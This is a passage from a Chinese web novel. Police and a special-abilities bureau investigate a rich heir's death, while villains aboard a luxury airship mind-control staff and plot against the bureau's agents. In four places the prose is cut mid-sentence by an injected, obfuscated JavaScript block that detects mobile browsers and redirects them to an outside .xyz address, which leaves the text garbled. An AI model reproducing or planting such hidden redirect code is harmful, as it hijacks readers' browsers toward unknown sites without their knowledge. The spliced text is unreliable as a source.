一进洗手间，易骄就往死者所在的隔间走过去，身后的法医立马出声提醒：“诶，小心点，别破坏了现场啊。” “没事，都是上面派来的人。”张国栋安抚道。 谁能料到这才一天，就发生了这种事，他们必须尽快调查是否有天选会在从中作梗，以防出现更多的受害者。 法医叹了口气，但看见易骄并没有动手，甚至站的位置也离死者有些距离，才松了口气。 就因为是上面的人，要是不小心破坏了现场，会让人很难做的。 易骄的异能在死者附近游走，不停捕捉空气里残留的信息，再将他们整合一番送回到她掌心。半晌，她终于深吸一口气，转头面色凝重地点了点头，这下，不光是异能署的人，就连张国栋的脸色也难看了起来。 这真是最坏的结果。 法医茫然地看着几人打了个哑谜：“怎么样，我可以动手了吗？” “麻烦你了。”张国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711392|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栋点点头，“我去把队里的同志们喊过来。” “那最好了。”法医含糊应了一声，迅速投入到了工作中。 …… “死者张之梁，性别男，年龄二十九周岁……” 尸体的面部没有遭到破坏，但他们并不需要人脸识别才能锁定身份，因为在场的所有工作人员都认识他。 “我的儿子！让我进去！” 外面突然喧哗起来，紧接着是急匆匆的脚步声，一个西装革履的中年男人跑了过来，用发胶梳理整齐的头发都有些散开了。 “人呢，人在哪里？”他像个无头苍蝇一样乱转，后头跟着一个年岁差不多的女性，看样子应该是他的妻子。 “你们是张之梁的父母？”张国栋这话不过是例行公事，只要在手机上搜索一下，就能看到他们的照片。 蓝湾知名的富商，天空之眼正是他名下的资产。 颜和有些不忍地看这两个中年人跑向案发现场，却被挣扎着拦在外面，只能等着里面的人被抬出来。 “张队，这是刚刚做的笔录，大部分人都不知道情况，目击者的笔录是单独的，放在最上面了，我觉得有必要带回队里做一下正式的笔录。”颜和将手里一沓纸递过去。 张国栋没法跟她说明现在的情况，易骄那边已经确认异能的痕迹，后续肯定会由异能署的人来接手。 他接过材料，清了清嗓子：“这次的受害者身份特殊，可能会有上面的人接手，到时候有需要的话，这些材料你跟他们对接一下。” 颜和有些疑惑地点点头：“还是上次的那些人啊，他们不是在办之前的系列案件吗？” 张国栋：…… 年轻的小孩哟，有些话不要说破。 他打了个哈哈：“谁知道呢，不要试图理解上面的想法，我们照做就行。” 颜和点点头：“您说的对。” “那这边的人员你协调他们疏散一下，按流程来，没问题啊？” “了解。”颜和目送张国栋走向那一对哭到不能自已的中年夫妻，眨眨眼睛迅速转过头。 就算在总队里见过不少生离死别的画面，但每每看到这一幕还是忍不住心尖颤动。 人有时坚强，有时脆弱，灭顶的灾祸或许无法摧毁其生命与意志，但有时无人在意的细节却可以。 她不是什么搞不清楚状况的职场新人，张国栋的理由看上去很合理，但就是因为这样，他本没有必要在这种时候就跟自己说明。 上头同一批人接手这个案件，只能说明这次的死者和此前的系列案件有着极强的管联系，甚至有可能是同一个凶手做的。 可身为富二代的张之梁和此前的死者并没有什么共同点，至少现在看来，他们完全不是一个世界的人。 随机杀人？不，现在做这样的猜测还太早了，而且张国栋第一时间就带着那几个人进了案发现场，更有可能的是，他们已经对案情有所猜测。 颜和尽量整合着她所掌握的信息，试图搞清楚当下究竟是怎样的局势。 “小颜，过来帮个忙！” 思绪被身后的呼唤打断，她懊恼地摇摇头，迅速跑了过去。 “来了！” 152. 无人区（54） “我真的什么都不知道啊，现在是什么情况？”审讯室内的盛余海脸上写满茫然。 这群警员一大早就闯到他家中，拿了个什么证……他都没来得及细看，就被带到了这里。 门外还能听见沙哑的哭声，盛余海进来的时候确实见到了熟悉的面孔，但这次对方的脸上却不是之前的讨好，而是恨不得将他抽筋扒皮的痛恨。 盛余海已经意识到了不妙。 他不过在艺术界有话语权，跟这种本地龙头的富豪比起来，消息还是要滞后很多。 张国栋也不跟他兜圈子：“你认识张之梁吗？” “张之梁？”盛余海喃喃自语，努力从记忆中挖出这个名字，“我有印象，这是老张的儿子，昨天还来参加展览会了！” 语毕，对面两名警员的表情并没有变化，让盛余海尴尬地闭上了嘴。 “那个，他……怎么了吗？” “他死了。” 张国栋的眼神紧紧锁定他的表情，不错过一丝一毫的破绽，一旁的颜和把键盘敲得啪啪作响。 “昨天晚上你在做什么？” 盛余海小心看了他们一眼：“昨天晚上？我晚上参与了一个酒局，结束就回家了，一直到现在。” “展览会的酒会？” “不是不是，一个私人酒局，我想想，我车上的行车记录仪应该可以作为证据，上面有车内的监控画面。”盛余海努力从大脑里找到一些有用的东西。 张国栋朝颜和使了个眼色，对方立马出门通知其他人去扣押，很快又回到审讯室内。 到了这个时候，盛余海看上去竟然轻松了不少，似乎感觉自己已经可以完全洗清嫌疑，甚至还有闲情和两人攀谈起来。 “警官，您看我和这孩子接触也不多，晚上也有不在场证明，是不是……可以放我出去了？” 见对面人抬着眼皮看过来，盛余海一个激灵。 “这不是，我的展览会还要开呢，这次的声势打出去了，中途停了算什么事。” 按照本次展览会对外发布的公告，展会第二天，盛余海将在现场亲自讲解几个传世的佳作。 “还开呢，开不了了。”张国栋冷笑一声，这下盛余海真着急了。 “我已经配合你们工作了，怎么这样呢！我要找我的律师！我……” “张之梁死在你们会场的洗手间，你觉得这展览还能办下去？” 盛余海突然像被掐住脖子的鸭，“嘎”的一声闭了嘴。 “下午五点你乘坐电梯到达会场，但只是去了一趟洗手间，能解释一下为什么吗？”颜和配合张国栋的节奏，问出了今天最主要的问题。 “下午五点？”盛余海又开始茫然了。 “监控已经拍到你了，不用在这种事情上表达你的疑惑。”颜和用指关节敲敲桌子，示意他赶紧开口。 “可是下午我……”盛余海突然闭上了嘴，他垂下眼，手掌握紧又张开，让对面的两人眯了眯眼。 “我就是不知道其他楼层的洗手间在哪，反正就是坐个电梯，我就上来了，但是那会洗手间里应该没有其他人……吧？”盛余海偷偷打量对面人的表情，但什么都没能看出来。 张国栋冷哼一声：“你问我？” “没有没有。”盛余海连忙摇头，“我真没有杀他，我跟老张那儿子都多少年没见过面了，哪里来的什么仇怨。” “杀人未必需要完全充足的动机，有些人吵架上头了就能把人杀了。”张国栋一副胸有成竹的模样，“还能想起来什么吗，想不起来就自己在这待会吧。” “警官，我真没有杀人，真不是我啊，他是五点那会死的吗？警官？警官？” “麻烦你们看好他。” “是。” 张国栋看着被重新锁上的门，皱着眉头不知道在想什么。 “张队，这个不用让他签字吗？”颜和指了指手里刚刚打印出来的笔录。 “啊不用，你给我吧。”张国栋接过薄薄两张纸，看了一边点点头，“写的很全面，辛苦了，我先去忙了。” “应该的。” 颜和看着张国栋匆忙走进电梯，上面的数字一阵跳跃，来到了顶楼。 下一秒，她兜里的手机突然响了起来。 “对了小颜啊，让技术部门把刚刚的监控调出来，我待会来拿。” “好的，张队。” 饶是她，也能看出在提到“昨天下午五点”时，盛余海表现出的不自然，但根据尸检报告，张之梁死亡不过两个小时，怎么说也不会是盛余海在那时候动的手，而且根据保洁人员的证词，昨天展会结束后洗手间里并没有异常。 盛余海的表现，反倒像是他在那个时间点做了什么与案件无关、但见不得人的事。 …… 异能署当然也拿到了尸检报告，但下午五点的监控异常对他们来说同样重要，当然有必要从盛余海口中午挖点东西。 “看来确实有问题。”应术若有所思地将手中的材料递给宋也，“他对监控的事情知情吗？” 张国栋回想了一下盛余海当时的表情，摇了摇头：“我感觉他应该不知情。” “这样啊……” 宋也迅速看完材料：“这样啊，还得麻烦张队你安排几个人，把盛余海这边安排好，有需要的话配合我们问话。” 张国栋当即表示没有问题。 “另外，我会向上级建议加派人手，飞艇那边，先不要让他们回来。” “还不回来吗？”孔越有些不理解，“现在应该可以确认天空之眼才是目标，飞艇上的几个人都是主力，我觉得还是让他们回来比较好。” 宋也左右看了看，竟然也开口劝应术：“孔监督说得没错，现在已经确定有异能反应，没必要再拖着了。” 其他人一愣，路玺立刻表示反对。 “话虽如此，但是现在的情况还不明朗，不能完全排除因为私人恩怨杀人的可能性，我不同意让他们回来。” 围观的张国栋自觉没有插话，但会议室里已经开始乱了，除了不在场的易阳和温南，其他人都开始你一言我一语开始发表自己的意见。 “等等！”应术头疼地揉了揉额头，“让我再想想，先不急。” 孔越还是一脸担忧地劝说：“现在情况紧急，他们的支援肯定比总部要快，你可千万不能这么保守。” “我知道，给我点时间，大家先去忙吧。”应术看上去颇为苦恼，挥手示意其他人不要再纠结这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725693|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题，“易骄和路玺赶紧去酒店，现在那里需要人手。” “那我去天空之眼附近看看，艾玲跟我一起吧。”宋也突然站起身，和应术隐秘地交换了一个眼神，很快，会议室就只剩下三个人，张国栋在这也有点手足无措，很快找了个理由溜了。 “我去跟上头联系一下，让他们派点人来。”孔越突然开口，“你……好好考虑一下。” 应术微微颔首，目送他离开了会议室。 …… 卡维纳宫殿的黎明来得要更早一些。 简初刚刚睁开眼，坐在床边醒神，手机上就收到来自顾杰羽的短信，大意是后半夜一切正常，可以直接换班。 界面上方是他们昨晚交流的信息，现在C、D两区已经完全排除了异常，接下来的主要目标还是A、B区和宴会大厅。 大家对第一夜的宴会充满了热情，甚至现在还没有完全散场，等简初出门的时候路上还有人往房间走。 “真热闹。” 这个时候出门的除了她，几乎就只有工作人员了。 “女士，早点还要一会才能准备好，您先在附近逛逛？”有工作人员看到她，立刻过来提醒，简初定睛一看，好巧不巧就是昨夜“帮助”自己的那名女性工作人员。 对方显然也认出她，但出于职业素养，并没有跟她套近乎。 “知道了。”简初微笑点头，脚下一转来到了A区附近的舷窗边。 此时的太阳已经跃然升起，照得人眼睛酸酸的。 “你赶紧找几个人，把早饭弄好送到A16和A18，我知道这会没做好呢，不是让你快一点吗！” 不远处传来房门打开的声音，简初眼神微微向后瞥了一眼，这声音听上去有点耳熟。 “一个个的，都听不懂人话。” 来人怒气冲冲走了出来，但他没想到这边的走廊会有人，脚下顿时慌乱地停住，赶紧闭上嘴装作无事发生。 听见身后的动静，简初疑惑地转过头，视线和中年男人正正对上。 “早上好。” 中年人更没想到她会主动开口打招呼，眼神有些焦虑地乱转，担心这人有没有听见他刚刚的话。 不过他刚刚都说了些什么来着？ 他努力还原方才的场景，意识到自己并没有说出什么敏感的话时才松了口气。 “嗯，早。” 简初装作没有发现他的紧张，只是看向了他头上的纱布。 “啊这个，这个是我不小心磕到墙了。”中年人突兀地开口解释道，这让简初也颇为意外。 这也太过于欲盖弥彰了。 “是要小心一点。”她点点头，看着中年人表情尴尬地离开了。 A16和A18。 简初向前走了两步，确认了这两个房间的位置。 “谁在那里？” 她猛然回头，余光瞥见侧后方墙边的衣角，毫不犹豫地追了上去，精神力一马当先，迅速将附近的情况反馈过来。 但那个红点的移动速度快得惊人，眨眼间就穿过了两条走廊，淹没在了一群红点中。 简初停下脚步，压低眉眼“啧”了一声，不甘心地长出一口气。 怎么这么多“影子”。 153. 无人区（55） “赶紧的，怠慢了贵客，我们又要被扣钱了。” “已经很快了，总不能扛着餐车跑吧。” 简初前脚刚刚离开，后脚走廊的尽头出现了两个工作人员，他们推着餐车，还戴着后厨的围裙，看上去倒也不脏，反而显得有几分专业。 “这两间房什么来头，之前名单里没有这两间吧？” “谁知道，这种事情少问，主办方说啥就是啥。” “就聊个天啊，你这人真是没意思。” 随着推车小轮“咕噜噜”滚动，两人很快在A16门口驻足。 其中一名工作人员挺直腰背，检查过自己的仪表后，深深轻轻敲了敲门，但下一秒隔壁的房门却被打开，一个穿戴整齐的男人朝他们打了个招呼。 “早餐？先送我这，那人估计还没起呢。” 他措辞并不强硬，但语气却不容拒绝，两人对视一眼，见A16确实迟迟没有反应，便推着餐车跟男人进了A18，男人随手关上大门，回头一屁股坐在沙发上，抬手示意他们布餐。 工作人员当即开始介绍今日的餐点。 玩具商翘着二郎腿，看着面前的矮桌上迅速被摆满佳肴，但推车上显然还有不少菜没摆上来。 “客人，这些我给您放在餐桌上？” “可以。”玩具商点点头，一副很好说话的样子，“你们平时一直在飞艇上工作？” “是的，我们都是专门为卡维纳宫殿的贵客服务的。” 玩具商放下了腿，身体微微前倾，很是感兴趣：“那你们不飞的时候发工资吗？” 工作人员很少见到这样的客人，毕竟能坐上这艘飞艇的人大多非富即贵，没有谁会对一个小员工的薪水感兴趣。 见他们没有立刻回答，玩具商扬了扬眉毛：“嗯？怎么了，是不能说吗？” “是这样的先生，我们……” “如果我想请你们帮忙做一点事，需要报酬吗？”玩具商抢先开口，打断了工作人员的回答，让对面两人不约而同露出疑惑的表情。 “先生，您如果有什么需要可以提，我们是不可以私下收钱的。”工作人员面色平静，心下已经在思考这是不是主办方的考验，“我们会尽力满足您的需求，但您也知道我们正在航行中，有很多事情也是没办法的。” “我看上去像是会无理取闹的人吗？”玩具商笑笑，看都不看面前丰富的餐点就站起了身，“放心，我的忙你们肯定能帮。” 工作人员对视一眼：“……需要我们做什么呢？” “哈哈。”玩具商从胸腔中挤出笑声，“我想借你们……一用。” 话音未落，他猛然伸出手，一左一右盖住两人的脸，强势的力道直接将人摁倒在地，幸亏地上都铺着柔软厚实的地毯，否则这一下肯定得头破血流。 “唔！”地上的两人疯狂挣扎，但却像被那只手锁住，男人的大拇指深深抠进他们嘴里，让人只能干呕。 黑色烟雾从玩具商的指尖逸散而出，拥有生命般从七窍钻了进去，下一秒，地上的人就开始翻起白眼，身体也剧烈抽搐。 片刻之后，玩具商终于松开手，他皱着眉毛用餐车上的湿毛巾仔细擦净手，然后才把垂落到额前的发丝往回捋了捋。 “真费劲，赶紧起来。” 仰躺在地的两名工作人员慢慢爬了起来，他们眼中失去了明亮的光彩，看上去空洞洞的。 男人嫌弃地“啧”了一声：“难道下手太重了，嘿，都给我机灵一点！” 话音落下，两人抬起眼眸，目光终于有了焦距，尽管看上去如同刚刚降生的稚子，充满了对世界的茫然。 “先去干你们的活。” 对于像“小王”这种人，他愿意花点心思控制自己的能力，确保对方能乖乖听话，但又有独立思考的能力，而对于面前这种“消耗品”，随便整整就好了。 反正本来就活不了多久。 “好的。”两人推着餐车打开门，门外砒霜已经等待多时。 她抱胸摇头，啧啧称奇：“你这能力都让我嫉妒了，不过你看上去不太好？” “搞笑呢，就这么半天我都用了多少次异能了，要不是是那位钦点，要我帮你，我才不趟这趟浑水。” 那几个鬼精的都没来，到场的都是些小喽啰。 不过对于他们来说，除了那位顶头的，剩下都算是小蚂蚁了。 “哎呀，别这么绝情嘛！”砒霜捂嘴轻笑，“我当然记得你的恩情，这不是来找你了？” “又怎么了？”玩具商对于这种话已经有所戒备，每次对方这么开口，后面就是又有麻烦要解决了。 “不跟你卖关子，我在这艘飞艇上见到一个老熟人了，啊不对，我认识她，但她可未必认识我。”砒霜嘴上说着不卖关子，但实际行动却恰恰相反。 “哎呀，我忘了，你估计也不认识。” 要是换个人看砒霜这副鲜活的表情，怕是要迷得七荤八素，但玩具商深知她的性格，当即打断了她的“表演”。 “有话直说，不说就滚。”疲惫让他的耐心比平日里更少。 “真是粗鲁。”砒霜白他一眼，“你还记得怀阴山吗，就是我们俩接受第一次‘浸染’的地方，现在想想还真感慨，当时可是差一点就命丧黄泉了呢。” 那是天选会在白海与异能署第一次正面交锋，那群家伙可是把她梦寐以求的集会毁了个彻底，但所幸，他们也咬下对方一大块肉算作回敬。 “我不知道她叫什么，也不知道她长什么样子，但是我记得……”砒霜伸手摸了摸自己的胸口，“这道伤疤就是拜她所赐。” “你确定？”玩具商并没有感同身受，尽管他当时也在场，但却因为在砒霜之前接受“浸染”，所以没有受到最正面的冲击，“你什么都不知道，怎么就能笃定是她？” 砒霜发出低低的笑声：“我当然记得，我做梦都记着她的影子，只要从我面前走过，她不管变成什么样子我都会记得，何况……” 她拖长了音调，瞳孔深处是残忍的冷酷：“就算认错了又怎样，反正全部杀掉就好了。” …… 蓝湾总队。 “盛先生，你这边先回去吧，不过最近电话保持畅通，有情况我们再找你了解。” 颜和年轻的面孔让盛余海下意识放松了警惕，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755473|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过他原以为至少要被关到晚上，没想到这么快就让自己走了。 “我这是排除嫌疑了？我就说我跟他又没仇……”盛余海絮絮叨叨，走出审讯室时却有些犹豫，直到发现那对丧子的夫妻已然不在，才故作镇定走了出来。 “盛先生，案情请务必记得保密，需要我们安排专车送你回家吗？”颜和假装没有看到他的小动作。 盛余海连忙摇头，接过刚刚被锁在柜子里的手机：“不用不用，我自己回去就行，我自己回去。” “那麻烦你喊个人来接你吧，我们有规定，还请谅解。” “好的好的。”盛余海没有犹豫，直接联系了助理，“他十分钟就来，我等会。” 颜和点点头，给他倒了一杯水：“盛先生，如果这几天你想到什么异常情况，也请及时和我们联系，任何不合常理的事情都有可能是线索，你可以放心交给我们来核查。” 男人接过一次性纸杯的手抖了抖，被颜和尽收眼底，她不动声色，抬头和盛余海身后的同事交换了一个眼神。 对方点点头，转头就离开了大厅。 很快，盛余海的助理就赶到了蓝湾总队，三十来岁的人也没怎么进过警队，看上去有些紧张，他签完字茫然地站在一边，等一切手续办妥才紧跟着盛余海离开。 除了车标之外都相当低调的豪车平稳驶出，很快，一辆黑色的小轿车也离开了蓝湾总队，远远地坠在后头。 蓝湾总队的顶楼，会议室的大屏幕里，两个红点前后而行，此时路上车流并不多，所以轻易不会跟丢。 张国栋很想说偷偷装信号发射器是不对的，但这些规定也不适用于异能署，为了解决这种异常的大麻烦，他们拥有很多特权。 “张队，助理下车了，盛余海自己开车走了。” “好，继续跟着，看看他要去哪。” 尽管盛余海本人并没有异能，但他的行为反应却处处透着诡异，西南角的洗手间里并没有作案痕迹，从血液迸溅的痕迹来看，尸体更像是从空中被抛下，在加上残留的异能波动，几乎可以这并不是第一现场。 可惜空间系异能下的细分种类太多，而残留的痕迹已经消散了不少，很难读出更多的信息了。 更麻烦的是，对方知道他们的存在，张之梁的死极有可能是在宣战，事到如今，凶手除了天选会，几乎不会有第二个选项。 “张队，盛余海回了天空之眼！”对讲机那头的声音十分雀跃，“他绝对有问题，我们跟上去？” “你们别动，后面有其他同事接手，赶紧回队里。”不顾那头的疑惑，张国栋直接下令。 开玩笑，两个人放在异能者面前，不过是棵小豆芽。 “现在可以把马瑞安他们喊回来了吧？”孔越此时的脸色并不好看，作为总部指派的监督，他应当拥有最高的话语权，但在这里却没什么人在意他的意见。 “应术，这已经算是重大决策失误，现在通知他们还来得及，再拖下去我们就没法和上头交代了。”孔越再次强调，但应术却没有流露出丝毫担忧，而是平静地看向了他。 “对了孔监督，总部的支援什么时候能到？” 154. 无人区（56） 孔越没想到话题会变得这么突然，一下没反应过来：“呃，快了吧，应该今晚能到。” “太慢了。”应术摇摇头，“不过没关系，一组的人马上就到了，在总部的人到达之前，我们可以勉强加个班。” 孔越的脸上写满了茫然，好像还没有读懂她话中的含义，年轻女性脸上时常带着的微笑终于消失，她摸了摸掌心还未恢复的伤口，眼神透过平光镜凛冽射来。 “我忍很久了，麻烦转告你那位上司，现在可不是争权夺势的时候。” 尽管是异能署正常的换任，但完全可以算是临阵换将，随之而来的岗位变动会带来很多没有和天选会打过交道的人，众口铄金三人成虎，很容易影响到关键决策。 比如现在。 其实应术根本不需要搞清楚孔越的背后究竟是谁，新官上任不仅是三把火，更怕会捅出篓子，顶头上司现在话语权还不稳固，显然不能放任他们在底下搞小动作。 对外行动组向来不参与站队，但是这种时候…… “收拾东西滚吧。” 孔越满脸涨红，刚想开口争辩就被兜里的手机打断了，他剜了应术一眼，但接起电话的下一秒脸色就变得惨白，下意识点头弯腰，回应那头的训斥。 “是是是，我明白的。” 他一句话都没有来得及说，举着电话夺门而出，颇有几分落荒而逃的意思。应术本来也没打算给他辩解的机会，眼神瞥向吃了半天瓜的张国栋：“张警官还有什么事吗？” “啊！没有没有，我想起来还有点事要忙，有需要联系我啊。”张国栋迅速遁走。 应术环顾空无一人的会议室，垂下眼眸看向倒扣的手机，下一秒，桌面映出的光亮让她重新带上笑容。 “喂——” “我知道，这都是小事，总不能真让他瞎折腾吧？” “那真的太好了，我等您的消息。” …… 卡维纳宫殿。 白天的阳光有些刺眼，人们大多待在房间，或是在室内娱乐场所消磨时间，这群人平日的都是一刻值千金，但在这里，交际的价值让“消遣”也沾上了金钱的瑰色。 简初正在房间角落盘着手机，这是一个监控死角，不会有人或者监控能看到她的手机屏幕。 [顾：都看到消息了？] 顾杰羽说的是不久前应术给他们群发的消息，里面详细讲述了天空之眼发生的意外，但令人意外的是最后得出反直觉的结论——集会极大概率会在飞艇举行。 [马：可以理解，现在天空之眼全面戒严，他们要是想在那里动手脚，绝对不会弄出这么大的动静。] 全蓝湾的警备力量都注视着天空之眼，更何况这次的命案明显就是故意给他们看的，这可惜这背后的深意还没有浮出水面。 [马：有没有发现可疑的人？] 这话是对简初说的，得知她已经发现有人多次窥探，几人决定做个局，试试把人引出来。 不远处，隋辩正在赌桌上玩得“忘我”。 这里说是赌场，但却没有现金或是筹码，看上去只是普通至极的消遣，但实际上桌上都是成百上千万的生意，看不见摸不着，却会在离开飞艇之后一一实现。 隋辩玩得毫无压力，反正他又没有什么商人的信誉，就算在场所有人练手，也没办法针对他那根本就不存在的家族产业。 [简：暂时没发现。] [顾：没发现也算是好事。] 这两位倒是看得开。 马瑞安和顾杰羽正在不远的地方喝下午茶，毕竟两位中年人对赌场没什么热情，反而只会觉得吵闹。 他们的心思并不在面前精致的茶点上，而是时不时扫过不远处赌场的大门，观察着来往的客人。 “不知道为什么，我感觉有点心慌。”顾杰羽皱着眉头，手里的杯子拿起又放下，整个人明显心神不宁，“整个飞艇我们能去的地方都没有异常，难道东西藏在工作区了？” “很有可能，我们……”马瑞安话没说完，就被亮起的手机屏幕打断，打码的发信人让他皱起眉头。 顾杰羽大概猜到信息来自何处：“总部的消息？” 谁知马瑞安竟然摇了摇头：“一组已经到蓝湾了，刚刚在蓝湾境内做异能信号扫描，这会有了发现。” 异能署有自己的数据库，每一次和天选会的交锋，数据都会被记录下来。但这个系统耗能较大，无法实现24小时扫描，而且只能捕捉到使用中的异能波动。 当初他们就是用这个办法发现幽灵，救下简初的。 “在这里吗？”顾杰羽立马明白了他的意思，“是谁？” “玩具商，你大概不知道他，就是在……怀阴山的那次，记录了他的数据。”马瑞安说到某个地名的时候声音小了一点，但后面的话说得又急又快，也不知道有几分是为了转移顾杰羽的注意。 “他是精神控制系的异能，‘浸染’之后得到了巨大的强化，在天选会级别很高，有可能就是这次接手的主办人。如果他在这里，恐怕已经有人遭殃了。” 原本参加集会的成员至少都有十来个，如果再有普通民众牵扯其中，他们的工作会变得相当难做，但至少好消息是后援很快就会到位，一旦发生变故，他们会第一时间驾驶直升机赶到。 “抱歉，我对这个人没什么印象。”顾杰羽表现出离奇的平静。 “没关系，总之他比较棘手。”马瑞安把信息简要发在群里，提醒大家注意安全，暂时不要单独行动。 在飞艇另一头的机房里，一个男人战战兢兢地拉近监控画面。 他向来都是被人捧着的，但身后这两人却是动动手指就能要了他的命，而且性格相当恶劣，用钞票完全不能打动他们。 “找到了，喏，不费吹灰之力，顺带捞到另一条鱼。”砒霜挑眉，朝监控屏幕努努嘴。 可惜监控点位离得太远，再加上周围有不少喝下午茶的人在聊天，所以听不清这两人在说什么，否则也许还有更多发现。 “找几个人动手吧，仪式开始之前把他们处理掉。”玩具商无视一旁抖如糠筛的男人，轻飘飘发问，“还是说你想亲自动手？” “我才懒得自己去，有人动手为什么要自己费劲。”砒霜吹了吹指甲尖，“不过你确定随便找几个人就能解决他们？” “出其不意，不行我们再去。”玩具商丝毫不在意。 多去几个人，再加上那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784078|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群炮灰，怎么都够了，毕竟异能署的这群蠢货办事都畏手畏脚。 “下面准备好了吗，我已经等不及了。”砒霜跃跃欲试，尽管这次接受浸染的人选中并没有她，但作为主办人，她可以得到其他的东西。 其他，更珍贵的东西。 见她表情流露出得意，玩具商忍不住翻了个白眼：“说是差不多了，晚宴之前把那两个人解决掉？” 砒霜伸出漂亮的手指摇了摇：“不不不，现在立刻马上。难道你觉得异能署会只派两个人来？早点处理掉两个，留点力气后头使。” 玩具商不得不承认这女人的脑子转得还挺快，她那张脸总是能迷惑不少人，配上狠辣的手段，能抢下这次的机会也不算完全出人意料。 他自然不会和这种人交恶，不如说，他选择和所有人交朋友。 …… 赌场里人声鼎沸，大概是有客人呼朋引伴，从刚刚开始人明显就多了起来。 隋辩从人群中挤出来，紧皱着眉头整理了衣襟，一屁股坐到简初旁边喝了口果汁：“有情况？” 简初动作不变，只是抬起眼皮看了周围一眼：“没有。” “那怎么突然这么多人？” 他没有得到回答，回头就看见简初的手指在屏幕上乱飞。 “他们俩还在外面吗，为什么不回消息，我想知道外头现在是什么情况。”简初迅速将手机放回口袋，“这里太闷了，出去透透气？” 隋辩倒也算机灵，知道她是想出去看看情况：“行吧，正好我也玩累了。” “客人慢走——” 门口的服务员为他们拉开大门，他们已经在这站了好几个小时，但却没有露出明显的疲态，嘴角的弧度仿佛是用量角器规定好的。 简初瞥了他们一眼，脚步不停错身而出。 “铛！” 一道利风瞬间划过耳畔，贴着她的发丝在墙壁上撞落，两人猛然回头，捕捉到一个飞起的衣角。 来了！ “我走那边！” 隋辩立刻意会她的意思，这是想从两面包围偷袭者。他毫不犹豫点点头，手上一刻不停掏出手机试图联络马瑞安。 只可惜那一头却一直没有人接听。 尽管隋辩平时看上去不是很靠谱，但在这种关键时候却丝毫不掉链子，不管目标从哪个拐角转弯，他都能准确捕捉到声音和痕迹，绝对不会跟丢。 哪怕距离暂时无法拉近，对方想要甩掉他也没那么容易。 隋辩并没有寄希望于简初。 他对F的异能有所耳闻，无论她之前怎么把马瑞安那群人耍得团团转，单从外表看上去她战斗力并不想，反倒更像应术那种应该坐在后方使坏的。 下一秒，前方的目标突然加快了速度，隋辩倒吸一口凉气，咬牙提速。 八月的暑气在此时发挥了作用，下午的走廊上几乎没有什么客人，工作人员也都在为室内的娱乐场所服务，简初脑海中的小红点清晰可见，完全断绝了对方趁乱躲藏的可能。 但这具身体的劣势在此时显露无疑，简初穿了口气，看着小红点前进的方向脚下一拐，决定直接抄近道。 这个方向，应该是露天观景台没错了。 155. 无人区（57） 小红点在飞艇的顶层停下了，它的位置让简初忍不住加快了脚步，她深吸一口气，三步并作两步跨上楼梯，就看见满地狼籍。 围着观景台大门的围栏倒了一地，门锁也被人破开，锁芯都掉在了地上，残留在门板上的锁周围全是裂缝，简初平复了呼吸，跨过这一地杂乱，走向了正站在栏杆旁的人。 他背朝着简初，原本穿着的西装外套已经不知道被丢在哪里，只剩下一件白色衬衫，阳光反射在上面，有一些刺眼。 简初在他身后不远处警惕站定：“你想做什么？” 露天的风带着灼热的气息吹乱了两人的头发，但比之更滚烫的是她心里的怒火，对方握着栏杆的手紧了紧，却没有任何回应。 “哈，我问你在这里想做什么！”简初大步上前，一把抓住了对方的衣领，那人丝毫没有反抗，就这么顺着她的力道转了过来，不过脸上多少还是带了些狼狈。 她早就发现了，这人根本就没想对她动手，就连刚刚的攻击也是个假把式，没有杀意也没有瞄准要害，单纯就是为了暴露出自己。 “之前两次也是你。” 幽灵下意识躲开她的怒视，长长的睫毛遮住了漂亮的眼睛，看上去一副任人宰割的模样。 “你不该来这里。”他低声说，可声音太小了，几乎刚出口就被风吹散。 简初克制着松开手，刚想再说什么，却听见身后传来快速的脚步声，有人在楼梯上奔跑，这个时候会追到这里的除了隋辩不做他想，她的注意力被转移了一瞬，但就是这一瞬间被幽灵抓住，他利落地攀上扶手，整个人蹲在栏杆上回头看了她一眼。 他的眼神里蕴含了太多的东西，可最让简初两难的就是他其中没有丝毫恶意。 